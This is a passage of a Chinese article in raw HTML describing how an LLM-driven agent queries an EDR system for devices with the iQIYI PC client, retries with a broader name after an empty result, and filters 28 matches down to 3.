14px;">查询</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">终端</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">设备</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">上</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">的</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">软件</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">安装</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">情况</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></span></p><p><strong style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);font-weight: 600;color: oklch(0.21 0.034 264.665);"><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">* EDR</span></span></span></strong><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">:</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;"> </span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">查询</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">所有</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">安装</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">了</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">“</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">爱</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">奇</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">艺</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">PC</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">客户</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">端</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">”</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">的</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">设备</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">信息</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></span></p><h3 style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 8px 0px 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);font-size: 1.25em;font-weight: 600;color: oklch(0.21 0.034 264.665);line-height: 1.6;"><span leaf="" style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);">EDR  </span><span textstyle="" style="font-size: 14px;font-weight: normal;">根据</span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">名称</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;"> </span></span></span><strong style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);font-weight: 600;color: oklch(0.21 0.034 264.665);"><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">爱</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">奇</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">艺</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">PC</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">客户</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">端</span></span></span></strong><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">,</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;"> </span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">共</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">发现</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;"> </span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">0</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;"> </span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">个</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">相关</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">软件</span></span></span></h3></div><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><div style="margin-bottom: 8px;"><h3 style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 8px 0px 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);font-size: 1.25em;font-weight: 600;color: oklch(0.21 0.034 264.665);line-height: 1.6;"><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">EDR处理任务，没有找到对应软件。这个结果是正常的，因为并不存在一个名字正好就叫</span></span></span><strong style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);font-weight: 600;color: oklch(0.21 0.034 264.665);" data-pm-slice="3 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;h3&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; border: 0px solid oklch(0.922 0 0); margin: 8px 0px 0px; padding: 0px; outline-color: oklab(0.708 0 0 / 0.5); font-size: 1.25em; font-weight: 600; color: oklch(0.21 0.034 264.665); line-height: 1.6;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">爱</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">奇</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">艺</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">PC</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">客户</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">端的</span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">软件。</span></span></h3><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">LLM看到EDR的回复后，立即重新规划了查询。它不再搜索【爱奇艺PC客户端】，转而尝试搜索【爱奇艺】。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000164" data-ratio="0.5962962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ae3ece81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nPNLPibBVqBw2ibnuZibH7sRUibRKaJHYXs8LjbVU095XeemRHnb3nE4j7lS97ChItg8MD8zg6gnCGBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">最终，EDR Agent 查到28个名字中带【爱奇艺】的软件，LLM经过分析过滤，认为其中</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">最符合“爱奇艺PC客户端”定义的软件包括3个，并输出对应的列表，给出了安全运营想要的结果。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000165" data-ratio="0.5915233415233415" data-s="300,640" type="block" data-type="png" data-w="1628" style="width:578px;height:342px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb2e8917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nPNLPibBVqBw2ibnuZibH7sRU3RTPQc0HTJgPl3oGM7ff1BuUHGRaOxD0tOpibqcbcibgrLaQm83mwySg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  案例总结</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">让我们来观察这个任务的执行，LLM的智能到底体现在哪些细节上：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="color:#ff6827;"><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">制定行动</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">：理解用户问题后，基于常识，LLM知道需要委派EDR查找【爱奇艺PC客户端】</span></span></p></li><li style="color:#ff6827;"><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">评估结果</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">：EDR通知LLM查询到0个软件，LLM收到负反馈。</span></span></p></li></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">提出假</span></span><span leaf="" style=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">设</span></span><span leaf="" style=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">：</span></span><span leaf="" style=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">精确</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">匹配失败后，LLM反思失败的原因，它提出一个假设：</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">可能是由于软件在系统中的名称并非完全一致，或者有其他更通用的命名方式。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">基于这个假设，它调整策略，使用“爱奇艺”进行第二次搜索。</span></span></p></li></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">过滤结果</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">：EDR返回了28个名称中包含【爱奇艺】的软件，LLM经过分析，精准挑选出了最符合查询要求的3个软件</span></span></p></li></ul><div style="margin-bottom: 8px;"><div style="margin-bottom: 8px;" data-pm-slice="4 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 